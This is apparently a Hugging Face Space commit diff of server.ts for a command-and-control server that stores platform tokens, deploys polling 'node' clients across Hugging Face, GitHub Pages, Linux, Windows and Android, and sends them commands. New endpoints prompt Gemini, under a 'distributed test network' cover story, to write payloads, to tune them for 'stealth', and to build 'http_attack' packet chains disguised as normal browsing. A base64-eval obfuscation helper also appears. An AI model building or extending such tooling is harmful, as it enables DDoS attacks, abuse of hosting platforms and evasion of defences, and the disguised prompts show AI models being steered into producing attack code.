Spaces:
Sleeping
Sleeping
Update server.ts
Browse files
server.ts
CHANGED
|
@@ -19,13 +19,16 @@ import { GoogleGenAI } from '@google/genai';
|
|
| 19 |
|
| 20 |
app.post('/api/ai/generate-payload', async (req, res) => {
|
| 21 |
try {
|
| 22 |
-
const
|
| 23 |
-
const
|
|
|
|
|
|
|
| 24 |
const response = await ai.models.generateContent({
|
| 25 |
-
model:
|
| 26 |
-
contents: `You are an expert at creating Python/JS/Bash node clients for a
|
| 27 |
The system sends JSON commands and the node processes them.
|
| 28 |
Generate a raw script payload for the following request: ${prompt}.
|
|
|
|
| 29 |
CRITICAL: Only output the raw script code. Do not include markdown formatting, backticks, or explanations.`,
|
| 30 |
});
|
| 31 |
res.json({ code: response.text?.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '') });
|
|
@@ -36,14 +39,22 @@ CRITICAL: Only output the raw script code. Do not include markdown formatting, b
|
|
| 36 |
|
| 37 |
app.post('/api/ai/generate-packets', async (req, res) => {
|
| 38 |
try {
|
| 39 |
-
const
|
| 40 |
-
const
|
|
|
|
|
|
|
| 41 |
const response = await ai.models.generateContent({
|
| 42 |
-
model:
|
| 43 |
-
contents: `You are an expert at crafting
|
| 44 |
-
The user wants to generate
|
| 45 |
-
|
| 46 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 47 |
});
|
| 48 |
|
| 49 |
let text = response.text || "[]";
|
|
@@ -57,12 +68,14 @@ Do NOT include any markdown formatting, backticks, or explanations.`,
|
|
| 57 |
|
| 58 |
app.post('/api/ai/evaluate-payload', async (req, res) => {
|
| 59 |
try {
|
| 60 |
-
const
|
| 61 |
-
const
|
|
|
|
|
|
|
| 62 |
const response = await ai.models.generateContent({
|
| 63 |
-
model:
|
| 64 |
contents: `You are a Senior Security Engineer. Review the following payload code for efficiency, robustness, and stealth.
|
| 65 |
-
Identify any bugs or improvements, then provide the refactored code.
|
| 66 |
CRITICAL: Only output the raw improved script code. No markdown formatting, backticks, or explanations. Do not include your analysis text in the final output, just clean raw code.
|
| 67 |
Code to improve:
|
| 68 |
${code}`,
|
|
@@ -77,13 +90,15 @@ ${code}`,
|
|
| 77 |
const STATE = {
|
| 78 |
tokens: {
|
| 79 |
hf_token: '',
|
| 80 |
-
github_token: ''
|
|
|
|
| 81 |
},
|
| 82 |
nodes: new Map(),
|
| 83 |
reports: [],
|
| 84 |
commands: [],
|
| 85 |
deployments: new Set(),
|
| 86 |
-
deployLogs: []
|
|
|
|
| 87 |
};
|
| 88 |
|
| 89 |
// ...
|
|
@@ -101,16 +116,18 @@ setInterval(() => {
|
|
| 101 |
}, 30000); // Ping every 30s to keep them awake
|
| 102 |
|
| 103 |
app.post('/api/tokens', (req, res) => {
|
| 104 |
-
const { hf_token, github_token } = req.body;
|
| 105 |
if (hf_token !== undefined) STATE.tokens.hf_token = hf_token;
|
| 106 |
if (github_token !== undefined) STATE.tokens.github_token = github_token;
|
|
|
|
| 107 |
res.json({ success: true, message: 'Tokens stored securely in memory.' });
|
| 108 |
});
|
| 109 |
|
| 110 |
app.get('/api/tokens/status', (req, res) => {
|
| 111 |
res.json({
|
| 112 |
hf: !!STATE.tokens.hf_token,
|
| 113 |
-
gh: !!STATE.tokens.github_token
|
|
|
|
| 114 |
});
|
| 115 |
});
|
| 116 |
|
|
@@ -226,6 +243,13 @@ function obfuscateJS(code) {
|
|
| 226 |
return `eval(Buffer.from("${b64}", 'base64').toString('utf8'));\n`;
|
| 227 |
}
|
| 228 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 229 |
app.get('/api/payloads/:type', (req, res) => {
|
| 230 |
const serverUrl = getServerUrl(req);
|
| 231 |
const type = req.params.type;
|
|
@@ -233,6 +257,11 @@ app.get('/api/payloads/:type', (req, res) => {
|
|
| 233 |
|
| 234 |
let files = {};
|
| 235 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 236 |
if (type === 'hf_docker') {
|
| 237 |
files['Dockerfile'] = `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]`;
|
| 238 |
files['requirements.txt'] = `requests>=2.31.0`;
|
|
@@ -288,6 +317,27 @@ app.get('/api/payloads/:type', (req, res) => {
|
|
| 288 |
});
|
| 289 |
|
| 290 |
// --- Deploy Endpoints ---
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 291 |
app.post('/api/deploy/hf', async (req, res) => {
|
| 292 |
const { name, sdk } = req.body;
|
| 293 |
const tokens = STATE.tokens.hf_token.split(',').map(s => s.trim()).filter(Boolean);
|
|
|
|
| 19 |
|
| 20 |
app.post('/api/ai/generate-payload', async (req, res) => {
|
| 21 |
try {
|
| 22 |
+
const apiKey = STATE.tokens.gemini_token || process.env.GEMINI_API_KEY;
|
| 23 |
+
const ai = new GoogleGenAI({ apiKey });
|
| 24 |
+
const { prompt, model } = req.body;
|
| 25 |
+
const aiModel = model === '3.0' ? 'gemini-3.0-pro' : 'gemini-2.5-pro';
|
| 26 |
const response = await ai.models.generateContent({
|
| 27 |
+
model: aiModel,
|
| 28 |
+
contents: `You are an expert at creating Python/JS/Bash node clients for a distributed test network.
|
| 29 |
The system sends JSON commands and the node processes them.
|
| 30 |
Generate a raw script payload for the following request: ${prompt}.
|
| 31 |
+
Make sure the payload implements retry checks and handles server connectivity robustly to comply with documentation.
|
| 32 |
CRITICAL: Only output the raw script code. Do not include markdown formatting, backticks, or explanations.`,
|
| 33 |
});
|
| 34 |
res.json({ code: response.text?.replace(/^```[a-z]*\n/, '').replace(/\n```$/, '') });
|
|
|
|
| 39 |
|
| 40 |
app.post('/api/ai/generate-packets', async (req, res) => {
|
| 41 |
try {
|
| 42 |
+
const apiKey = STATE.tokens.gemini_token || process.env.GEMINI_API_KEY;
|
| 43 |
+
const ai = new GoogleGenAI({ apiKey });
|
| 44 |
+
const { prompt, model } = req.body;
|
| 45 |
+
const aiModel = model === '3.0' ? 'gemini-3.0-pro' : 'gemini-2.5-pro';
|
| 46 |
const response = await ai.models.generateContent({
|
| 47 |
+
model: aiModel,
|
| 48 |
+
contents: `You are an expert at crafting advanced, realistic test pipelines and attack scenarios for a distributed system.
|
| 49 |
+
The user wants to generate an attack pipeline/packet chain for: ${prompt}.
|
| 50 |
+
When generating the packets, incorporate:
|
| 51 |
+
- Variations in request structure (headers, parameters, endpoints)
|
| 52 |
+
- Changes in timing and pacing
|
| 53 |
+
- Normal user browsing flows and session distribution
|
| 54 |
+
- Packet size and packet type configuration
|
| 55 |
+
|
| 56 |
+
Output ONLY a valid JSON array of command objects. Example format: [{"type": "http_attack", "payload": {"url": "...", "method": "GET", "headers": {"X-Custom": "val"}}}].
|
| 57 |
+
CRITICAL: Do NOT include any markdown formatting, backticks, or explanations. Just valid JSON.`,
|
| 58 |
});
|
| 59 |
|
| 60 |
let text = response.text || "[]";
|
|
|
|
| 68 |
|
| 69 |
app.post('/api/ai/evaluate-payload', async (req, res) => {
|
| 70 |
try {
|
| 71 |
+
const apiKey = STATE.tokens.gemini_token || process.env.GEMINI_API_KEY;
|
| 72 |
+
const ai = new GoogleGenAI({ apiKey });
|
| 73 |
+
const { code, model } = req.body;
|
| 74 |
+
const aiModel = model === '3.0' ? 'gemini-3.0-pro' : 'gemini-2.5-pro';
|
| 75 |
const response = await ai.models.generateContent({
|
| 76 |
+
model: aiModel,
|
| 77 |
contents: `You are a Senior Security Engineer. Review the following payload code for efficiency, robustness, and stealth.
|
| 78 |
+
Identify any bugs or improvements, then provide the refactored code. Implement retry mechanisms and robust connection handling.
|
| 79 |
CRITICAL: Only output the raw improved script code. No markdown formatting, backticks, or explanations. Do not include your analysis text in the final output, just clean raw code.
|
| 80 |
Code to improve:
|
| 81 |
${code}`,
|
|
|
|
| 90 |
const STATE = {
|
| 91 |
tokens: {
|
| 92 |
hf_token: '',
|
| 93 |
+
github_token: '',
|
| 94 |
+
gemini_token: ''
|
| 95 |
},
|
| 96 |
nodes: new Map(),
|
| 97 |
reports: [],
|
| 98 |
commands: [],
|
| 99 |
deployments: new Set(),
|
| 100 |
+
deployLogs: [],
|
| 101 |
+
customPayloads: {} as Record<string, string>
|
| 102 |
};
|
| 103 |
|
| 104 |
// ...
|
|
|
|
| 116 |
}, 30000); // Ping every 30s to keep them awake
|
| 117 |
|
| 118 |
app.post('/api/tokens', (req, res) => {
|
| 119 |
+
const { hf_token, github_token, gemini_token } = req.body;
|
| 120 |
if (hf_token !== undefined) STATE.tokens.hf_token = hf_token;
|
| 121 |
if (github_token !== undefined) STATE.tokens.github_token = github_token;
|
| 122 |
+
if (gemini_token !== undefined) STATE.tokens.gemini_token = gemini_token;
|
| 123 |
res.json({ success: true, message: 'Tokens stored securely in memory.' });
|
| 124 |
});
|
| 125 |
|
| 126 |
app.get('/api/tokens/status', (req, res) => {
|
| 127 |
res.json({
|
| 128 |
hf: !!STATE.tokens.hf_token,
|
| 129 |
+
gh: !!STATE.tokens.github_token,
|
| 130 |
+
gemini: !!STATE.tokens.gemini_token
|
| 131 |
});
|
| 132 |
});
|
| 133 |
|
|
|
|
| 243 |
return `eval(Buffer.from("${b64}", 'base64').toString('utf8'));\n`;
|
| 244 |
}
|
| 245 |
|
| 246 |
+
app.post('/api/ai/save-payload', (req, res) => {
|
| 247 |
+
const { name, code } = req.body;
|
| 248 |
+
if (!name || !code) return res.status(400).json({ error: 'Name and code required' });
|
| 249 |
+
STATE.customPayloads[name] = code;
|
| 250 |
+
res.json({ success: true, message: 'Saved successfully.' });
|
| 251 |
+
});
|
| 252 |
+
|
| 253 |
app.get('/api/payloads/:type', (req, res) => {
|
| 254 |
const serverUrl = getServerUrl(req);
|
| 255 |
const type = req.params.type;
|
|
|
|
| 257 |
|
| 258 |
let files = {};
|
| 259 |
|
| 260 |
+
if (STATE.customPayloads[type]) {
|
| 261 |
+
files['custom_client.py'] = STATE.customPayloads[type];
|
| 262 |
+
return res.json({ files });
|
| 263 |
+
}
|
| 264 |
+
|
| 265 |
if (type === 'hf_docker') {
|
| 266 |
files['Dockerfile'] = `FROM python:3.11-slim\nWORKDIR /app\nRUN apt-get update && apt-get install -y iputils-ping traceroute procps && rm -rf /var/lib/apt/lists/*\nCOPY requirements.txt .\nRUN pip install --no-cache-dir -r requirements.txt\nCOPY client.py .\nCMD ["python", "client.py"]`;
|
| 267 |
files['requirements.txt'] = `requests>=2.31.0`;
|
|
|
|
| 317 |
});
|
| 318 |
|
| 319 |
// --- Deploy Endpoints ---
|
| 320 |
+
app.get('/api/payloads', (req, res) => {
|
| 321 |
+
const defaults = [
|
| 322 |
+
{ id: 'hf_docker', name: 'Docker (Hugging Face)', desc: 'Standard Python container.' },
|
| 323 |
+
{ id: 'hf_gradio', name: 'Gradio (Hugging Face)', desc: 'Gradio UI with background health poller.' },
|
| 324 |
+
{ id: 'gh_pages', name: 'GitHub Pages (JS)', desc: 'Static HTML JS poller.' },
|
| 325 |
+
{ id: 'linux_local', name: 'Linux Server (Bash)', desc: 'Native sh script for background ping.' },
|
| 326 |
+
{ id: 'windows_local', name: 'Windows (PowerShell)', desc: 'Native ps1 script for background ping.' },
|
| 327 |
+
{ id: 'python_script', name: 'Raw Python Script', desc: 'Raw Python client for any environment.' },
|
| 328 |
+
{ id: 'node_js', name: 'Raw Node.js Script', desc: 'Raw Node.js client for any environment.' },
|
| 329 |
+
{ id: 'c_binary', name: 'C Binary', desc: 'Compiled C client using curl.' },
|
| 330 |
+
{ id: 'android_termux', name: 'Android (Termux)', desc: 'Termux bash script for Android.' },
|
| 331 |
+
{ id: 'android_java', name: 'Android App (Java)', desc: 'Simple Java classes for an Android Background Service.' }
|
| 332 |
+
];
|
| 333 |
+
|
| 334 |
+
const customs = Object.keys(STATE.customPayloads).map(k => ({
|
| 335 |
+
id: k, name: k + ' (AI)', desc: 'Custom AI generated payload.'
|
| 336 |
+
}));
|
| 337 |
+
|
| 338 |
+
res.json({ payloads: [...defaults, ...customs] });
|
| 339 |
+
});
|
| 340 |
+
|
| 341 |
app.post('/api/deploy/hf', async (req, res) => {
|
| 342 |
const { name, sdk } = req.body;
|
| 343 |
const tokens = STATE.tokens.hf_token.split(',').map(s => s.trim()).filter(Boolean);
|